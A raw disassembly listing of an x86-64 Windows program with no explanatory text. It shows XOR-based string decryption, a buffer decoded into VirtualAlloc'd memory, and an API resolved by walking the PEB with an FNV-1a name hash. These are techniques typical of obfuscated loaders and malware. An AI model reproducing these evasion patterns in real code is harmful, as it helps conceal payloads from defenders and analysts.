movabs rax, 0xa5e5291b4477960d
mov qword [rbp + 0x1810], rax
mov qword [rbp + 0x34a0], rax
movabs rax, 0x1dd20b8a36ca0bee
mov qword [rbp + 0x1818], rax
mov qword [rbp + 0x34a8], rax
lea r8, [rbp + 0x34b0]
lea rdx, [rbp + 0x3460]
lea rcx, [rbp + 0x83e0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x17d0]
pxor xmm0, xmmword [rbp + 0xaa10]
movdqa xmmword [rbp + 0x17d0], xmm0
movdqa xmm1, xmmword [rbp + 0x17e0]
pxor xmm1, xmmword [rbp + 0xaa20]
movdqa xmmword [rbp + 0x17e0], xmm1
movdqa xmm0, xmmword [rbp + 0x17f0]
pxor xmm0, xmmword [rbp + 0xaa30]
movdqa xmmword [rbp + 0x17f0], xmm0
movdqa xmm1, xmmword [rbp + 0x1800]
pxor xmm1, xmmword [rbp + 0xaa40]
movdqa xmmword [rbp + 0x1800], xmm1
movdqa xmm0, xmmword [rbp + 0x1810]
pxor xmm0, xmmword [rbp + 0xaa50]
movdqa xmmword [rbp + 0x1810], xmm0
mov r8, rdi
mov rdx, rbx
lea rcx, [rbp + 0x17d0]
call fcn.7ff7cbf63d9c
movabs rax, 0x5b4d200fb31446cc
mov qword [rbp + 0x2470], rax
movabs rbx, 0x86d320ad01d5eacc
mov qword [rbp + 0x2478], rbx
movabs rdi, 0x5c378c4389da649e
mov qword [rbp + 0x2480], rdi
mov qword [rbp + 0x2488], r14
lea r8, [rbp + 0x2490]
lea rdx, [rbp + 0x2470]
lea rcx, [rbp + 0x9b80]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa920], r13
mov qword [rbp + 0x2490], r13
mov qword [rbp + 0xa928], r12
mov qword [rbp + 0x2498], r12
mov qword [rbp + 0xa930], rsi
mov qword [rbp + 0x24a0], rsi
mov qword [rbp + 0xa938], r14
mov qword [rbp + 0x24a8], r14
lea r8, [rbp + 0x24b0]
lea rdx, [rbp + 0x2490]
lea rcx, [rbp + 0x8410]
call fcn.7ff7cbf35cf8
movabs rax, 0x5b4d200fb31446cc
mov qword [rbp + 0xaf0], rax
mov qword [rbp + 0x24b0], rax
mov qword [rbp + 0xaf8], rbx
mov qword [rbp + 0x24b8], rbx
mov qword [rbp + 0xb00], rdi
mov qword [rbp + 0x24c0], rdi
mov qword [rbp + 0xb08], r14
mov qword [rbp + 0x24c8], r14
lea r8, [rbp + 0x24d0]
lea rdx, [rbp + 0x24b0]
lea rcx, [rbp + 0x9b10]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0xaf0]
pxor xmm0, xmmword [rbp + 0xa920]
movdqa xmmword [rbp + 0xaf0], xmm0
movdqa xmm1, xmmword [rbp + 0xb00]
pxor xmm1, xmmword [rbp + 0xa930]
movdqa xmmword [rbp + 0xb00], xmm1
lea rdx, [rbp + 0xaf0]
lea rcx, [0x7ff7cbf935e0]
call fcn.7ff7cbf38164
lea rcx, [rbp + 0x84d0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x9000]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8a00]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9a60]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9a90]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9ac0]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9aa0]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x99e0]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9ab0]
jmp 0x7ff7cbf75001
lea rdx, [0x7ff7cbf94700]
lea rcx, [rbp + 0x4ac0]
call fcn.7ff7cbf35cc0
lea r8, [rbp + 0x84d0]
lea rdx, [rbp + 0x4ac0]
lea rcx, [rbp + 0x92c0]
call fcn.7ff7cbf53dc8
lea rcx, [rbp + 0x4ac0]
call fcn.7ff7cbf3ecd0
movabs rbx, 0x76763a16a6035cd6
mov qword [rbp + 0x1e40], rbx
movabs rax, 0xe1b626810acfe8c3
mov qword [rbp + 0x1e48], rax
lea r8, [rbp + 0x1e50]
lea rdx, [rbp + 0x1e40]
lea rcx, [rbp + 0x9a70]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xac00], r13
mov qword [rbp + 0x1e50], r13
mov qword [rbp + 0xac08], r12
mov qword [rbp + 0x1e58], r12
lea r8, [rbp + 0x1e60]
lea rdx, [rbp + 0x1e50]
lea rcx, [rbp + 0x9ad0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xc0], rbx
mov qword [rbp + 0x1e60], rbx
movabs rax, 0xe1b626810acfe8c3
mov qword [rbp + 0xc8], rax
mov qword [rbp + 0x1e68], rax
lea r8, [rbp + 0x1e70]
lea rdx, [rbp + 0x1e60]
lea rcx, [rbp + 0x83e0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0xc0]
pxor xmm0, xmmword [rbp + 0xac00]
movdqa xmmword [rbp + 0xc0], xmm0
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x6f40]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x92c0]
lea rcx, [rbp + 0x6f60]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8fe0]
call fcn.7ff7cbf58a40
movabs rbx, 0x625a3a06b1015dd6
mov qword [rbp + 0x1e70], rbx
movabs rax, 0xe1b652f216d6f5d3
mov qword [rbp + 0x1e78], rax
lea r8, [rbp + 0x1e80]
lea rdx, [rbp + 0x1e70]
lea rcx, [rbp + 0x9b80]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x9e40], r13
mov qword [rbp + 0x1e80], r13
mov qword [rbp + 0x9e48], r12
mov qword [rbp + 0x1e88], r12
lea r8, [rbp + 0x1e90]
lea rdx, [rbp + 0x1e80]
lea rcx, [rbp + 0x8410]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xd0], rbx
mov qword [rbp + 0x1e90], rbx
movabs rax, 0xe1b652f216d6f5d3
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0x1e98], rax
lea r8, [rbp + 0x1ea0]
lea rdx, [rbp + 0x1e90]
lea rcx, [rbp + 0x9b10]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0xd0]
pxor xmm0, xmmword [rbp + 0x9e40]
movdqa xmmword [rbp + 0xd0], xmm0
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x8fe0]
call fcn.7ff7cbf2ab20
test al, al
je 0x7ff7cbf7504d
lea rdx, [rbp + 0x8fe0]
lea rcx, [0x7ff7cbf935e0]
call fcn.7ff7cbf380f4
lea rcx, [rbp + 0x8fe0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x92c0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x84d0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x9000]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8a00]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9a60]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9a90]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9ac0]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9aa0]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x99e0]
call fcn.7ff7cbf376b0
mov rcx, rdi
call fcn.7ff7cbf376b0
lea rcx, [0x7ff7cbf935e0]
call fcn.7ff7cbf3fb20
mov rbx, rax
call qword [sym.imp.user32.dll_GetForegroundWindow]
mov r9d, 0x10
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.user32.dll_MessageBoxA]
lea rcx, [rbp + 0x92e0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8b00]
call fcn.7ff7cbf376b0
jmp 0x7ff7cbf75261
lea rcx, [rbp + 0x8fe0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x92c0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x84d0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x9000]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8a00]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9a60]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9a90]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9ac0]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9aa0]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x99e0]
call fcn.7ff7cbf376b0
mov rcx, rdi
call fcn.7ff7cbf376b0
call qword [sym.imp.user32.dll_GetForegroundWindow]
mov rcx, rax
mov r9d, 0x40
xor r8d, r8d
lea rdx, [0x7ff7cbf84590]
call qword [sym.imp.user32.dll_MessageBoxA]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [0x7ff7cbf94fb8], xmm0
mov dword [0x7ff7cbf94fc8], eax
xor edx, edx
mov r8d, 0x100
lea rcx, [0x7ff7cbf94fd0]
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
xor eax, eax
movups xmmword [0x7ff7cbf950d0], xmm0
mov qword [0x7ff7cbf950e0], rax
mov dword [0x7ff7cbf950e8], eax
mov word [0x7ff7cbf950ec], ax
movups xmmword [0x7ff7cbf950f0], xmm0
mov qword [0x7ff7cbf95100], rax
mov dword [0x7ff7cbf95108], eax
mov word [0x7ff7cbf9510c], ax
mov byte [0x7ff7cbf9469f], r15b
lea rcx, [rbp + 0x92e0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8b00]
call fcn.7ff7cbf376b0
call fcn.7ff7cbeff724
mov rcx, qword [0x7ff7cbf946b0]
mov rax, qword [rcx]
mov dword [rsp + 0x30], r15d
movss dword [rsp + 0x28], xmm7
mov dword [rsp + 0x20], r15d
mov r9d, 3
xor r8d, r8d
xor edx, edx
call qword [rax + 0x158]
mov rcx, qword [0x7ff7cbf946b0]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x7ff7cbf751d2
call fcn.7ff7cbf07ba4
call fcn.7ff7cbf01550
mov rcx, rax
call fcn.7ff7cbf1ddc4
mov rcx, qword [0x7ff7cbf946b0]
mov rax, qword [rcx]
call qword [rax + 0x150]
mov rax, qword [rbp + 0x99f0]
test dword [rax], 0x400
je 0x7ff7cbf751ef
call fcn.7ff7cbf0cb34
xor edx, edx
xor ecx, ecx
call fcn.7ff7cbf085d8
mov rcx, qword [0x7ff7cbf946b0]
mov rax, qword [rcx]
mov r10, qword [rax + 0x88]
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call r10
cmp eax, 0x88760868
jne 0x7ff7cbf75230
mov rcx, qword [0x7ff7cbf946b0]
mov rax, qword [rcx]
call qword [rax + 0x18]
cmp eax, 0x88760869
jne 0x7ff7cbf75230
call fcn.7ff7cbf39690
cmp byte [0x7ff7cbf931d5], r15b
jne 0x7ff7cbf75246
cmp byte [0x7ff7cbf9469e], r15b
je 0x7ff7cbf774ee
mov eax, dword [rbp + 0x8c08]
cmp byte [0x7ff7cbf946a0], r15b
mov ecx, 0x12
cmovne eax, ecx
mov dword [rbp + 0x8c08], eax
mov eax, 0x12
cmp dword [rbp + 0x8c08], eax
je 0x7ff7cbf774f9
lea edi, [rax - 0x11]
jmp 0x7ff7cbf6f156
call qword [sym.imp.user32.dll_GetForegroundWindow]
lea rdx, [0x7ff7cbf84578]
xor r8d, r8d
lea r9d, [r8 + 0x10]
mov rcx, rax
call qword [sym.imp.user32.dll_MessageBoxA]
jmp 0x7ff7cbf75261
movabs rbx, 0x655f270af23f05fe
mov qword [rbp + 0x24d0], rbx
movabs rdi, 0x88c437814fdef0ca
mov qword [rbp + 0x24d8], rdi
movabs rax, 0x5619a21fdd8e7b96
mov qword [rbp + 0x24e0], rax
mov qword [rbp + 0x24e8], r14
lea r8, [rbp + 0x24f0]
lea rdx, [rbp + 0x24d0]
lea rcx, [rbp + 0x9a70]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x9b60], r13
mov qword [rbp + 0x24f0], r13
mov qword [rbp + 0x9b68], r12
mov qword [rbp + 0x24f8], r12
mov qword [rbp + 0x9b70], rsi
mov qword [rbp + 0x2500], rsi
mov qword [rbp + 0x9b78], r14
mov qword [rbp + 0x2508], r14
lea r8, [rbp + 0x2510]
lea rdx, [rbp + 0x24f0]
lea rcx, [rbp + 0x9ad0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xb30], rbx
mov qword [rbp + 0x2510], rbx
mov qword [rbp + 0xb38], rdi
mov qword [rbp + 0x2518], rdi
movabs rax, 0x5619a21fdd8e7b96
mov qword [rbp + 0xb40], rax
mov qword [rbp + 0x2520], rax
mov qword [rbp + 0xb48], r14
mov qword [rbp + 0x2528], r14
lea r8, [rbp + 0x2530]
lea rdx, [rbp + 0x2510]
lea rcx, [rbp + 0x83e0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0xb30]
pxor xmm0, xmmword [rbp + 0x9b60]
movdqa xmmword [rbp + 0xb30], xmm0
movdqa xmm1, xmmword [rbp + 0xb40]
pxor xmm1, xmmword [rbp + 0x9b70]
movdqa xmmword [rbp + 0xb40], xmm1
lea rcx, [rbp + 0xb30]
jmp 0x7ff7cbf7564e
movabs rbx, 0x655f270af23f05fe
mov qword [rbp + 0x2530], rbx
movabs rdi, 0x88c437814fdef0ca
mov qword [rbp + 0x2538], rdi
movabs rax, 0x5619a21fdc8e7b96
mov qword [rbp + 0x2540], rax
mov qword [rbp + 0x2548], r14
lea r8, [rbp + 0x2550]
lea rdx, [rbp + 0x2530]
lea rcx, [rbp + 0x9a70]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x9b60], r13
mov qword [rbp + 0x2550], r13
mov qword [rbp + 0x9b68], r12
mov qword [rbp + 0x2558], r12
mov qword [rbp + 0x9b70], rsi
mov qword [rbp + 0x2560], rsi
mov qword [rbp + 0x9b78], r14
mov qword [rbp + 0x2568], r14
lea r8, [rbp + 0x2570]
lea rdx, [rbp + 0x2550]
lea rcx, [rbp + 0x9ad0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xb50], rbx
mov qword [rbp + 0x2670], rbx
mov qword [rbp + 0xb58], rdi
mov qword [rbp + 0x2678], rdi
movabs rax, 0x5619a21fdc8e7b96
mov qword [rbp + 0xb60], rax
mov qword [rbp + 0x2680], rax
mov qword [rbp + 0xb68], r14
mov qword [rbp + 0x2688], r14
lea r8, [rbp + 0x2690]
lea rdx, [rbp + 0x2670]
lea rcx, [rbp + 0x83e0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0xb50]
pxor xmm0, xmmword [rbp + 0x9b60]
movdqa xmmword [rbp + 0xb50], xmm0
movdqa xmm1, xmmword [rbp + 0xb60]
pxor xmm1, xmmword [rbp + 0x9b70]
movdqa xmmword [rbp + 0xb60], xmm1
lea rcx, [rbp + 0xb50]
jmp 0x7ff7cbf7564e
movabs rbx, 0x655f270af23f05fe
mov qword [rbp + 0x26d0], rbx
movabs rdi, 0x93d321874fdef0ca
mov qword [rbp + 0x26d8], rdi
movabs rax, 0x5619a21f89c37699
mov qword [rbp + 0x26e0], rax
mov qword [rbp + 0x26e8], r14
lea r8, [rbp + 0x26f0]
lea rdx, [rbp + 0x26d0]
lea rcx, [rbp + 0x9a70]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x9b60], r13
mov qword [rbp + 0x26f0], r13
mov qword [rbp + 0x9b68], r12
mov qword [rbp + 0x26f8], r12
mov qword [rbp + 0x9b70], rsi
mov qword [rbp + 0x2700], rsi
mov qword [rbp + 0x9b78], r14
mov qword [rbp + 0x2708], r14
lea r8, [rbp + 0x2710]
lea rdx, [rbp + 0x26f0]
lea rcx, [rbp + 0x9ad0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xb70], rbx
mov qword [rbp + 0x2710], rbx
mov qword [rbp + 0xb78], rdi
mov qword [rbp + 0x2718], rdi
movabs rax, 0x5619a21f89c37699
mov qword [rbp + 0xb80], rax
mov qword [rbp + 0x2720], rax
mov qword [rbp + 0xb88], r14
mov qword [rbp + 0x2728], r14
lea r8, [rbp + 0x2730]
lea rdx, [rbp + 0x2710]
lea rcx, [rbp + 0x83e0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0xb70]
pxor xmm0, xmmword [rbp + 0x9b60]
movdqa xmmword [rbp + 0xb70], xmm0
movdqa xmm1, xmmword [rbp + 0xb80]
pxor xmm1, xmmword [rbp + 0x9b70]
movdqa xmmword [rbp + 0xb80], xmm1
lea rcx, [rbp + 0xb70]
call fcn.7ff7cbf63d9c
mov ecx, 0x1388
call qword [sym.imp.kernel32.dll_Sleep]
lea rcx, [rbp + 0x89c0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8400]
call fcn.7ff7cbf37620
lea rcx, [rbp + 0x89a0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x84b0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x82d0]
call fcn.7ff7cbf38600
lea rcx, [rbp + 0x88f8]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8560]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8450]
call fcn.7ff7cbf3ec3c
lea rcx, [rbp + 0x8468]
call fcn.7ff7cbf3ec3c
lea rcx, [rbp + 0x8618]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8540]
call fcn.7ff7cbf376b0
mov eax, r15d
jmp 0x7ff7cbf7798a
lea rdx, [0x7ff7cbf7e324]
lea rcx, [rbp + 0x6f80]
call fcn.7ff7cbf359ec
mov rdi, rax
lea rdx, [0x7ff7cbf93600]
lea rcx, [rbp + 0x6fa0]
call fcn.7ff7cbf359c8
mov rbx, rax
lea rdx, [rbp + 0x94e4]
lea rcx, [rbp + 0x6fc0]
call fcn.7ff7cbf359ec
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8918]
call fcn.7ff7cbf50144
lea rcx, [rbp + 0x8918]
call fcn.7ff7cbf4e858
test al, al
je 0x7ff7cbf75959
lea rcx, [0x7ff7cbf935e0]
call fcn.7ff7cbf3fb20
mov rbx, rax
movabs rdi, 0x68402805f23f05fe
mov qword [rbp + 0x31a0], rdi
movabs r15, 0x8ed2729d1b9afdc3
mov qword [rbp + 0x31a8], r15
movabs rax, 0x3f17e85083c27980
mov qword [rbp + 0x31b0], rax
movabs rax, 0xeed25fc8af204ca0
mov qword [rbp + 0x31b8], rax
movabs rax, 0xe2c26f2ce86d299c
mov qword [rbp + 0x31c0], rax
movabs rax, 0xc642deaea7e0e704
mov qword [rbp + 0x31c8], rax
lea r8, [rbp + 0x31d0]
lea rdx, [rbp + 0x31a0]
lea rcx, [rbp + 0x9a70]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x9a20], r13
mov qword [rbp + 0x2cf0], r13
mov qword [rbp + 0x9a28], r12
mov qword [rbp + 0x2cf8], r12
mov qword [rbp + 0x9a30], rsi
mov qword [rbp + 0x2d00], rsi
mov qword [rbp + 0x9a38], r14
mov qword [rbp + 0x2d08], r14
movabs rax, 0xccec465fcd4509f9
mov qword [rbp + 0x9a40], rax
mov qword [rbp + 0x2d10], rax
movabs rax, 0xc642deaea7eac92a
mov qword [rbp + 0x9a48], rax
mov qword [rbp + 0x2d18], rax
lea r8, [rbp + 0x2d20]
lea rdx, [rbp + 0x2cf0]
lea rcx, [rbp + 0x9ad0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x1460], rdi
mov qword [rbp + 0x3170], rdi
mov qword [rbp + 0x1468], r15
mov qword [rbp + 0x3178], r15
movabs rax, 0x3f17e85083c27980
mov qword [rbp + 0x1470], rax
mov qword [rbp + 0x3180], rax
movabs rax, 0xeed25fc8af204ca0
mov qword [rbp + 0x1478], rax
mov qword [rbp + 0x3188], rax
movabs rax, 0xe2c26f2ce86d299c
mov qword [rbp + 0x1480], rax
mov qword [rbp + 0x3190], rax
movabs rax, 0xc642deaea7e0e704
mov qword [rbp + 0x1488], rax
mov qword [rbp + 0x3198], rax
lea r8, [rbp + 0x31a0]
lea rdx, [rbp + 0x3170]
lea rcx, [rbp + 0x83e0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x1460]
pxor xmm0, xmmword [rbp + 0x9a20]
movdqa xmmword [rbp + 0x1460], xmm0
movdqa xmm1, xmmword [rbp + 0x1470]
pxor xmm1, xmmword [rbp + 0x9a30]
movdqa xmmword [rbp + 0x1470], xmm1
movdqa xmm0, xmmword [rbp + 0x1480]
pxor xmm0, xmmword [rbp + 0x9a40]
movdqa xmmword [rbp + 0x1480], xmm0
mov rdx, rbx
lea rcx, [rbp + 0x1460]
call fcn.7ff7cbf63d9c
xor ecx, ecx
call qword [sym.imp.kernel32.dll_ExitProcess]
mov ebx, dword [rbp + 0x8928]
lea rcx, [rbp + 0x8918]
call fcn.7ff7cbf3fb20
mov qword [rbp + 0x99f0], rax
lea edx, [rbx + 0x64]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x1000
call qword [sym.imp.kernel32.dll_VirtualAlloc]
mov rdi, rax
mov qword [rbp + 0x99e0], rax
mov rdx, rax
mov rax, qword [rbp + 0x99f0]
sub rax, rdx
lea r8d, [rbx + 1]
mov edi, 1
mov cl, byte [rax + rdx]
add cl, 9
mov byte [rdx], cl
add rdx, rdi
sub r8, rdi
jne 0x7ff7cbf759a7
mov rdi, qword [rbp + 0x99e0]
test rdi, rdi
jne 0x7ff7cbf75bbc
call qword [sym.imp.kernel32.dll_GetLastError]
mov ebx, eax
movabs r15, 0x68402805f23f05fe
mov qword [rbp + 0x3140], r15
movabs rax, 0x84d2729d1b9afdc3
mov qword [rbp + 0x3148], rax
movabs rax, 0x3551ac459cc76594
mov qword [rbp + 0x3150], rax
movabs rax, 0xad9d16b0fe614ca4
mov qword [rbp + 0x3158], rax
movabs rax, 0xccec465fcd4509f3
mov qword [rbp + 0x3160], rax
movabs rdi, 0xc642deaea7eac92a
mov qword [rbp + 0x3168], rdi
lea r8, [rbp + 0x3170]
lea rdx, [rbp + 0x3140]
lea rcx, [rbp + 0x9a70]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x9a20], r13
mov qword [rbp + 0x3110], r13
mov qword [rbp + 0x9a28], r12
mov qword [rbp + 0x3118], r12
mov qword [rbp + 0x9a30], rsi
mov qword [rbp + 0x3120], rsi
mov qword [rbp + 0x9a38], r14
mov qword [rbp + 0x3128], r14
movabs rax, 0xccec465fcd4509f9
mov qword [rbp + 0x9a40], rax
mov qword [rbp + 0x3130], rax
mov qword [rbp + 0x9a48], rdi
mov qword [rbp + 0x3138], rdi
lea r8, [rbp + 0x3140]
lea rdx, [rbp + 0x3110]
lea rcx, [rbp + 0x9ad0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x1430], r15
mov qword [rbp + 0x30e0], r15
movabs rax, 0x84d2729d1b9afdc3
mov qword [rbp + 0x1438], rax
mov qword [rbp + 0x30e8], rax
movabs rax, 0x3551ac459cc76594
mov qword [rbp + 0x1440], rax
mov qword [rbp + 0x30f0], rax
movabs rax, 0xad9d16b0fe614ca4
mov qword [rbp + 0x1448], rax
mov qword [rbp + 0x30f8], rax
movabs rax, 0xccec465fcd4509f3
mov qword [rbp + 0x1450], rax
mov qword [rbp + 0x3100], rax
mov qword [rbp + 0x1458], rdi
mov qword [rbp + 0x3108], rdi
lea r8, [rbp + 0x3110]
lea rdx, [rbp + 0x30e0]
lea rcx, [rbp + 0x83e0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x1430]
pxor xmm0, xmmword [rbp + 0x9a20]
movdqa xmmword [rbp + 0x1430], xmm0
movdqa xmm1, xmmword [rbp + 0x1440]
pxor xmm1, xmmword [rbp + 0x9a30]
movdqa xmmword [rbp + 0x1440], xmm1
movdqa xmm0, xmmword [rbp + 0x1450]
pxor xmm0, xmmword [rbp + 0x9a40]
movdqa xmmword [rbp + 0x1450], xmm0
mov edx, ebx
lea rcx, [rbp + 0x1430]
call fcn.7ff7cbf63d9c
xor ecx, ecx
call qword [sym.imp.kernel32.dll_ExitProcess]
movabs rax, 0x6b5a3a06a01258ca
mov qword [rbp + 0x2730], rax
movabs rbx, 0xbed23b9e0eccc6d4
mov qword [rbp + 0x2738], rbx
movabs rax, 0x5c37ff4289cd7496
mov qword [rbp + 0x2740], rax
mov qword [rbp + 0x2748], r14
lea r8, [rbp + 0x2750]
lea rdx, [rbp + 0x2730]
lea rcx, [rbp + 0x9a70]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa5f0], r13
mov qword [rbp + 0x2750], r13
mov qword [rbp + 0xa5f8], r12
mov qword [rbp + 0x2758], r12
mov qword [rbp + 0xa600], rsi
mov qword [rbp + 0x2760], rsi
mov qword [rbp + 0xa608], r14
mov qword [rbp + 0x2768], r14
lea r8, [rbp + 0x2770]
lea rdx, [rbp + 0x2750]
lea rcx, [rbp + 0x9ad0]
call fcn.7ff7cbf35cf8
movabs rax, 0x6b5a3a06a01258ca
mov qword [rbp + 0xb90], rax
mov qword [rbp + 0x2770], rax
mov qword [rbp + 0xb98], rbx
mov qword [rbp + 0x2778], rbx
movabs rax, 0x5c37ff4289cd7496
mov qword [rbp + 0xba0], rax
mov qword [rbp + 0x2780], rax
mov qword [rbp + 0xba8], r14
mov qword [rbp + 0x2788], r14
lea r8, [rbp + 0x2790]
lea rdx, [rbp + 0x2770]
lea rcx, [rbp + 0x83e0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0xb90]
pxor xmm0, xmmword [rbp + 0xa5f0]
movdqa xmmword [rbp + 0xb90], xmm0
movdqa xmm1, xmmword [rbp + 0xba0]
pxor xmm1, xmmword [rbp + 0xa600]
movdqa xmmword [rbp + 0xba0], xmm1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r10d, dword [rcx + r8 + 0x88]
add r10, r8
cmp r10, r8
je 0x7ff7cbf75d72
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x7ff7cbf75d72
mov edx, dword [r10 + 0x20]
dec r9d
lea rcx, [r8 + r9*4]
mov edx, dword [rcx + rdx]
add rdx, r8
mov r11d, 0xda09e57b
mov cl, byte [rdx]
inc rdx
test cl, cl
je 0x7ff7cbf75d69
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x7ff7cbf75d4a
cmp r11d, 0xe45d528d
je 0x7ff7cbf75d77
test r9d, r9d
mov edx, dword [r10 + 0x20]
jne 0x7ff7cbf75d2e
mov rax, qword [rax]
jmp 0x7ff7cbf75d09
mov ecx, dword [r10 + 0x24]
add rcx, r8
movzx edx, word [rcx + r9*2]
mov ecx, dword [r10 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
lea r8, [rbp + 0xb90]
xor edx, edx
xor ecx, ecx
call rax
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x7ff7cbf7703e
lea rcx, [rbp + 0x8898]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x9300]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8780]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8ae0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x9a00]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x99e0]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9a60]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9a90]
call fcn.7ff7cbf376b0
mov rcx, rdi
call fcn.7ff7cbf376b0
lea rcx, [0x7ff7cbf93420]
call fcn.7ff7cbf3fb20
mov rbx, rax
movabs rdi, 0x6d5d2a02f21b4dce
mov qword [rbp + 0x2d80], rdi
movabs r15, 0x92d320d243defcd0
mov qword [rbp + 0x2d88], r15
movabs rax, 0x395ff81198dc7683
mov qword [rbp + 0x2d90], rax
movabs rax, 0xa3c15d8cba2e45e8
mov qword [rbp + 0x2d98], rax
movabs rax, 0xa9872732ed20618d
mov qword [rbp + 0x2da0], rax
movabs rax, 0xc636bdcbc18cac0a
mov qword [rbp + 0x2da8], rax
lea r8, [rbp + 0x2db0]
lea rdx, [rbp + 0x2d80]
lea rcx, [rbp + 0x9a70]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x9a20], r13
mov qword [rbp + 0x2e40], r13
mov qword [rbp + 0x9a28], r12
mov qword [rbp + 0x2e48], r12
mov qword [rbp + 0x9a30], rsi
mov qword [rbp + 0x2e50], rsi
mov qword [rbp + 0x9a38], r14
mov qword [rbp + 0x2e58], r14
movabs rax, 0xccec465fcd4509f9
mov qword [rbp + 0x9a40], rax
mov qword [rbp + 0x2e60], rax
movabs rax, 0xc642deaea7eac92a
mov qword [rbp + 0x9a48], rax
mov qword [rbp + 0x2e68], rax
lea r8, [rbp + 0x2e70]
lea rdx, [rbp + 0x2e40]
lea rcx, [rbp + 0x9ad0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x11c0], rdi
mov qword [rbp + 0x2e10], rdi
mov qword [rbp + 0x11c8], r15
mov qword [rbp + 0x2e18], r15
movabs rax, 0x395ff81198dc7683
mov qword [rbp + 0x11d0], rax
mov qword [rbp + 0x2e20], rax
movabs rax, 0xa3c15d8cba2e45e8
